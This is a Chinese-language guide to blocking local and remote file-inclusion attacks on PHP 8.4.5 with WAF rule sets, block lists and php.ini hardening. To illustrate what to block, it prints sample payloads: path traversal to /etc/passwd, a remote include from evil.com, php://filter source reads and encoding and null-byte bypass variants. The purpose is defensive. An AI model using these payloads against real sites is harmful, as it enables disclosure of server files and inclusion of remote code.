WAF拦截PHP 8.4.5的LFI/RFI攻击核心在于识别恶意请求特征而非适配版本,需启用专用规则集、封禁高危协议与函数调用、收紧PHP配置并针对性加固绕过手法。

WAF 拦截 PHP 8.4.5 的文件包含攻击(LFI/RFI),核心不是适配 PHP 版本,而是识别攻击请求中的典型行为特征,并在流量到达 PHP 解释器前完成阻断。PHP 8.4.5 本身不改变 LFI 的利用逻辑,但部分新特性(如更严格的 open_basedir 默认行为、allow_url_include=Off 强制默认)可降低风险,WAF 则负责兜底防护。
重点拦截目标是攻击者构造的恶意参数,例如:?file=../../../../etc/passwd?page=http://evil.com/shell.txt?include=php://filter/read=convert.base64-encode/resource=config.php
一、启用并验证 LFI/RFI 专用规则集
主流 WAF 均内置针对文件包含的语义化检测规则,无需手动写正则:
-
ModSecurity + OWASP CRS v4.x:确认已加载
REQUEST-930-APPLICATION-ATTACK-LFI.conf和REQUEST-931-APPLICATION-ATTACK-RFI.conf;默认开启,检查日志中是否有id "930100"或"931100"的匹配记录。 - 云 WAF(阿里云/腾讯云/Cloudflare):在控制台打开「文件包含防护」或「路径遍历阻断」策略,确保动作设为「拦截」而非「观察」。
-
Nginx + lua-resty-waf:确认规则库含以下检测项:
-
../、..\、%2e%2e%2f等多编码上级目录跳转 -
php://、file://、http://、https://、data://等协议头出现在参数值中 -
filter/read=、filter/convert.、input://等伪协议变体
-
✅ 验证方式:用
curl "https://yoursite.com/?f=../../etc/passwd"测试,应返回 403 且 WAF 日志记录匹配 ID。立即学习“PHP免费学习笔记(深入)”;
二、封禁高危协议与危险函数调用特征
即使未直接触发 LFI,攻击者常通过 include()、require()、file_get_contents() 等函数配合用户输入实现包含。WAF 可拦截其常见调用痕迹:
修复 Core bailout 状态损坏安全问题,以及 BZ2、DOM、PDO、Opcache/JIT 内存与执行错误,改进 Unicode 字素处理、URL 解析、TLS 流状态、信号分发及会话错误处理。
- 拦截参数中出现以下字符串(大小写混写、URL 编码、空格替换均需覆盖):
php://、file://、data://、expect://、glob://include(、require(、include_once(、require_once(base64_decode(、gzinflate(、str_rot13((常用于解密后门) - 拦截异常路径模式:
- 连续多个
../或..%2f超过 3 层 - 参数值以
/开头但非白名单路径(如/static/、/templates/) - 出现在
User-Agent、Referer、Cookie中的路径片段(隐蔽 LFI 常见手法)
- 连续多个
⚠️ 注意:不要仅依赖
args contains "../",需结合SecRule ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_HEADERS "!@rx ^[a-zA-Z0-9._/-]+$"等格式校验规则增强鲁棒性。
三、收紧 PHP 环境配置作为 WAF 补充
WAF 是第一道网关,PHP 层配置是关键纵深防御:
- 在
php.ini中强制设置:allow_url_include = Off open_basedir = "/var/www/html:/tmp" ; 限定可访问根目录,不含 /etc /proc /dev disable_functions = include, require, include_once, require_once, file_get_contents, readfile, fopen
- 若业务不用动态包含,直接删除所有
include($_GET['xxx'])类代码,改用白名单映射:$whitelist = ['header', 'footer', 'about']; $file = $_GET['page'] ?? ''; if (in_array($file, $whitelist)) { include "pages/{$file}.php"; }
四、针对绕过手法做针对性加固
攻击者常用以下方式绕过基础 WAF 检测,需在规则中显式覆盖:
-
编码混淆:
%2e%2e%2f、..%c0%af、..%c0%9v(Unicode 路径遍历) -
空字节截断:
/etc/passwd%00.jpg(PHP 8.4 已默认禁用,但仍需 WAF 拦截) -
伪协议嵌套:
php://filter/convert.base64-encode/resource=php://input -
变量拼接:
$a='etc'; $b='passwd'; include($a.'/'.$b);→ WAF 应检测php://出现在 POST body 或 JSON 字段中
✅ 建议:对 API 接口(如
/api/v1/load)单独启用「严格协议白名单」规则,只允许https://和/开头路径,其余一律拦截。
不复杂但容易忽略。


















